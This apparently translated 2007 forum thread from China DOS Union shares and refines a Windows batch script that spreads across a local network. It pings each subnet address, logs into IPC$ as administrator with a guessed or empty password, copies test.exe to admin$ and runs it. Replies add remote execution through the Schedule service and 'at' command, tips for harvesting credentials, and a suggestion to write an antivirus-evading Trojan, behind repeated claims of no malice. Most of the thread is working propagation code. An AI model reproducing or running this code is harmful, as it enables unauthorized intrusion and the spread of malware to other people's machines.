China DOS Union

REM LAN propagation

for /f "tokens=2 delims=:" %%a in ('ipconfig ^| find /i "ip address"') do (set ip=%%



a&& goto :gof)

:gof

set "ip=%ip: =%"

for /f "tokens=1,2,3 delims=." %%b in ("%ip%") do (set ip1=1

call :bb %%b %%c %%d %ip1%)

:bb

set IP=%1.%2.%3.%ip1%

ping %IP% -n 2 | findstr /i "time<" && net use \\%IP%\ipc$ "1212" /user:"administrator" && copy test.exe \\%IP%\admin$ && start \\%IP%\admin$\test.exe

set /a ip1+=1

if %ip1% lss 255 goto :bb



exit

Function brief explanation: First list the IPs in the same LAN segment of this computer, respectively perform PING tests on the last 1-254 IPs. If it is reachable, copy the file to the C:\windows\ directory and execute it. If not reachable, continue to the next IP until all 254 IPs are PINGed.
Here, I would like to express deep gratitude to the friend "Waiting for the next game" in the forum group, who helped me study this code until 2 AM.
Also, post it to the forum to share the result with everyone and hope to get some guidance.
If there are errors, please point them out. If it can be improved, please help improve it!

[ Last edited by heicai on 2007-2-6 at 01:52 AM ]

I am purely researching with a learning attitude and have no malice. Please, distinguished experts, don't be stingy to give some pointers.

You just know the password is: "1212"?

The password is 1212, which is set randomly. Generally, it's empty? I think using a dictionary, etc., is too memory-consuming.

It seems quite powerful

But I have a question, can start make other machines execute files? I'm afraid it will execute on its own machine.
You can try Cat Mouse Burning Incense

You can first identify the local account name or check the registry for automatic login records, which contain the password of the current account. If it is not administrator, you can add administrator enumeration and use the empty password as the credential. However, after SP2, the security policy does not allow remote access with an empty password.

If it is like an internet café where the accounts are all the same, generally, if the default share and administrative share are not closed, you can connect using the default account.

Also, XP has a built-in tool for remote execution of commands, but I can't remember the name. You can check more.

rundll32 netplwiz.dll,UsersRunDll

I deleted the registry and don't know the path. I also don't know if the above method is in the registry?

This loophole is outdated, let's study something else. Just as the friend on floor 6 said, after SP2, the security policy does not allow remote access with an empty password.

Also, can start run a remote program? You're kidding. It's more like if the other party has the Task Scheduler service enabled and uses scheduled tasks.

I'm sorry, I might have dampened your enthusiasm a bit, but there's no other malice.

Yes, it's good if the other party's Task Scheduler service is on. And you also need to know the other party's administrator password.

net time \\%ip% /set /y

set/a hh=%time:~0,2%+0
set/a mm=1%time:~3,2%-100+1
if %mm% geq 60 (set/a mm=!mm!-60
set/a hh=!hh!+1
if %hh% geq 24 set/a hh=!hh!-24
)
at \\%ip% !hh!:!mm! %windir%\test.exe

It means running the target program on the other party's computer in the next minute

Can the at command be used in XP2? Oh, I tried and it didn't work.

It's outdated. Who still uses this? sp2 is already relatively safer than before.

It's better to make a Trojan horse and put it in. Write your own Trojan horse, and it needs to be undetected by antivirus software. However, I strongly oppose sabotage. Maintaining network security is the responsibility of every technologically literate person. Technology is a double-edged sword, but it shouldn't be used for malicious purposes. As a high-tech professional, one should first enhance their own moral quality. Only in this way can they live up to this title. Thanks

LZ's batch processing has quite a few issues.

First, the sentence "ping %IP% -n 2 | findstr /i "time<" &&" may miss a lot; there are many that can ping but don't have "time<" but "time=". It's better to use errorlevel for judgment.

Second, the sentence "copy test.exe \\%IP%\admin$" generally, the admin$ won't be on ordinary machines; so I first test whether this machine can be exploited in terms of ipc$.

sc \\%ip% config Schedule start= auto ^| find "SUCCESS"

The sentence I use; on one hand, test the exploitable value of this machine (if the remote connection service can't even change settings, then this machine can't even execute at commands and will refuse access). Generally, if this step passes, it can be said that this machine can be completely controlled; on the other hand, change the startup mode of Schedule (of course, most machines this is already on).

net start Schedule

Can use at command

net time \\%ip% /set /y

for /f "tokens=1,2 delims=:" %%i in ("%time%") do set /a hh=%%i & set /a mm=%%j

set /a mm=%mm%+1

set tm=%hh%:0%mm%

at \\%ip% %tm% net share admin$

So start the other party's admin$ in 1 minute. Then the following is copying files and starting..............

Below is my modified one..........

for /f "tokens=2 delims=:" %%a in ('ipconfig ^| find /i "ip address"') do (set ip=%%a&& goto :gof)

:gof

set "ip=%ip: =%"

for /f "tokens=1,2,3 delims=." %%b in ("%ip%") do (set ip1=1

call :bb %%b %%c %%d %ip1%)

:bb

set IP=%1.%2.%3.%ip1%

ping %IP% -n 2

if errorlevel 0 if not errorlevel 1 net use \\%IP%\ipc$ "" /user:administrator

if errorlevel 0 if not errorlevel 1 sc \\%ip% config Schedule start= auto ^| find "SUCCESS"

if errorlevel 0 if not errorlevel 1 sc start Schedule

net time \\%ip% /set /y

for /f "tokens=1,2 delims=:" %%i in ("%time%") do set /a hh=%%i & set /a mm=%%j

set /a mm=%mm%+1

set tm=%hh%:0%mm%

at \\%ip% %tm% net share admin$ ...............From here down, I think it's a bit redundant, might as well estimate the time.

:loop

if %time%==%tm%+1 (goto next) else (goto loop)

:next

copy test.exe \\%IP%\admin$

net time \\%ip% /set /y

for /f "tokens=1,2 delims=:" %%i in ("%time%") do set /a hh=%%i & set /a mm=%%j

set /a mm=%mm%+1

set tm=%hh%:0%mm%

at \\%ip% %tm% c:\windows\system32\test.exe

set /a ip1+=1

if %ip1% lss 255 goto :bb

exit

[ Last edited by bjsh on 2007-3-8 at 03:29 PM ]

Originally posted by bjsh at 2007-3-8 10:25 AM:
There are quite a few problems with the batch script of the LZ.
First, the sentence "ping %IP% -n 2 | findstr /i "time<" &&" may miss a lot;
There are many that can be pinged but do not have "time<" but "time ...

Found that the code stops when detecting 192.168.0.1.